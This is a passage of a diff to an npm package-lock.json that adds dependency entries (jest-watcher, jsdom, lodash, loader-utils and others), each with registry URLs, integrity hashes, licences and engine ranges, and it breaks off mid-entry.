"^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-watch-typeahead/node_modules/pretty-format": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.3.tgz", + "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/schemas": "^28.1.3", + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/jest-watch-typeahead/node_modules/slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-watch-typeahead/node_modules/string-length": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-5.0.1.tgz", + "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==", + "dev": true, + "license": "MIT", + "dependencies": { + "char-regex": "^2.0.0", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-watch-typeahead/node_modules/string-length/node_modules/char-regex": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.2.tgz", + "integrity": "sha512-cbGOjAptfM2LVmWhwRFHEKTPkLwNddVmuqYZQt895yXwAsWsXObCG+YN4DGQ/JBtT4GP1a1lPPdio2z413LmTg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.20" + } + }, + "node_modules/jest-watch-typeahead/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/strip-ansi/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/jest-watcher": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.5.1.tgz", + "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "jest-util": "^27.5.1", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-watcher/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-watcher/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-watcher/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-watcher/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watcher/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-watcher/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/jiti": { + "version": "1.21.7", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", + "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "3.14.2", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", + "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsdom": { + "version": "16.7.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz", + "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.2.4", + "acorn-globals": "^6.0.0", + "cssom": "^0.4.4", + "cssstyle": "^2.3.0", + "data-urls": "^2.0.0", + "decimal.js": "^10.2.1", + "domexception": "^2.0.1", + "escodegen": "^2.0.0", + "form-data": "^3.0.0", + "html-encoding-sniffer": "^2.0.1", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^2.0.0", + "webidl-conversions": "^6.1.0", + "whatwg-encoding": "^1.0.5", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.5.0", + "ws": "^7.4.6", + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsdom/node_modules/form-data": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.4.tgz", + "integrity": "sha512-f0cRzm6dkyVYV3nPoooP8XlccPQukegwhAnpoLcXy+X+A8KfpGOoXwDr9FLZd3wzgLaBGQBE3lY93Zm/i1JvIQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.35" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json2mq": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/json2mq/-/json2mq-0.2.0.tgz", + "integrity": "sha512-SzoRg7ux5DWTII9J2qkrZrqV1gt+rTaoufMxEzXbS26Uid0NwaJd123HcoB80TgubEppxxIGdNxCx50fEoEWQA==", + "license": "MIT", + "dependencies": { + "string-convert": "^0.2.0" + } + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonpath": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/jsonpath/-/jsonpath-1.3.0.tgz", + "integrity": "sha512-0kjkYHJBkAy50Z5QzArZ7udmvxrJzkpKYW27fiF//BrMY7TQibYLl+FYIXN2BiYmwMIVzSfD8aDRj6IzgBX2/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "esprima": "1.2.5", + "static-eval": "2.1.1", + "underscore": "1.13.6" + } + }, + "node_modules/jsonpath/node_modules/esprima": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-1.2.5.tgz", + "integrity": "sha512-S9VbPDU0adFErpDai3qDkjq8+G05ONtKzcyNrPKg/ZKa+tf879nX2KexNU95b31UoTJjRLInNBHHHjFPoCd7lQ==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/jsonpointer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz", + "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/klona": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.6.tgz", + "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/language-subtag-registry": { + "version": "0.3.23", + "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz", + "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/language-tags": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz", + "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==", + "dev": true, + "license": "MIT", + "dependencies": { + "language-subtag-registry": "^0.3.20" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/launch-editor": { + "version": "2.13.2", + "resolved": "https://registry.npmjs.org/launch-editor/-/launch-editor-2.13.2.tgz", + "integrity": "sha512-4VVDnbOpLXy/s8rdRCSXb+zfMeFR0WlJWpET1iA9CQdlZDfwyLjUuGQzXU4VeOoey6AicSAluWan7Etga6Kcmg==", + "dev": true, + "license": "MIT", + "dependencies": { + "picocolors": "^1.1.1", + "shell-quote": "^1.8.3" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true, + "license": "MIT" + }, + "node_modules/loader-runner": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.1.tgz", + "integrity": "sha512-IWqP2SCPhyVFTBtRcgMHdzlf9ul25NwaFx4wCEH/KjAXuuHY4yNjvPXsBokp8jCB936PyWRaPKUNh8NvylLp2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.11.5" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/loader-utils": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==", + "deprecated": "This package is deprecated. Use the optional chaining (?.) operator instead.", + "license": "MIT" + }, + "node_modules/lodash.isequal": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", + "integrity": "sha512-pDo3lu8Jhfjqls6GkMgpahsF9kCyayhgykjyLMNFTKWrpVdAQtYyB4muAMWozBB4ig/dtWAmsMxLEI8wuz+DYQ==", + "deprecated": "This package is deprecated. Use require('node:util').isDeepStrictEqual instead.", + "license": "MIT" + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.sortby": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", + "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "dev": true, + "license": "MIT", + "bin": { + "lz-string": "bin/bin.js" + } + }, + "node_modules/magic-string": { + "version": "0.25.9", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "sourcemap-codec": "^1.4.8" + } + }, + "node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/makeerror": { + "version": 